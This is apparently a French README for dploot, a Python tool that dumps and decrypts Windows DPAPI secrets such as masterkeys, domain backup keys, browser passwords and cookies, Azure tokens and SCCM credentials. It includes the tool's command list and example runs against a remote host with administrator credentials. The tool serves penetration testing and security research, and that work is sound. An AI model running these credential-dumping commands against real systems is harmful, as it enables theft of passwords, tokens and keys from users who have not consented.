zblurx/dplootRécupérer et déchiffrer à distance ou hors ligne les secrets Windows DPAPI, y compris les masterkeys, les identifiants, les coffres-forts, les certificats, les données de navigateur et les jetons Azure mis en cache.
dploot est une réécriture en Python de SharpDPAPI écrit en C# par Harmj0y, qui est lui-même un portage de DPAPI depuis Mimikatz par gentilkiwi. Il implémente toute la logique DPAPI de ces outils, mais cette fois-ci il est utilisable avec un interpréteur Python et depuis un environnement Linux.
Si vous ne savez pas ce qu'est DPAPI, consultez cet article.
Vous pouvez installer dploot directement depuis PyPI avec pipx :
pipx install git+https://github.com/zblurx/dploot.git
OU
pipx install dploot
Sur Kali Linux, vous pouvez installer dploot depuis les dépôts :
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ prend en charge plusieurs protocoles réseau pour l'accès à distance. Vous sélectionnez le protocole à l'aide de --protocol <protocol_name>. Chaque protocole possède des capacités et des exigences différentes :
Exemple d'utilisation du protocole WMI :
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
Exemple utilisant le protocole local (système de fichiers hors ligne) :
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
Notes importantes sur la prise en charge des commandes :
backupkey ne fonctionne qu'avec le protocole SMB (nécessite un accès au contrôleur de domaine).--dpapi-system-key.dploot peut s'authentifier avec Kerberos pour les protocoles smb, wmi et mssql. Utilisez -k pour activer Kerberos avec repli sur NTLM. Si vous souhaitez utiliser un ticket en cache, utilisez --use-kcache. Pour utiliser une clé AES, utilisez --aesKey.
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
L'objectif de dploot est de simplifier le pillage lié à DPAPI depuis une machine Linux. La façon dont vous utilisez cet outil dépend de votre niveau d'accès et de la configuration de la cible.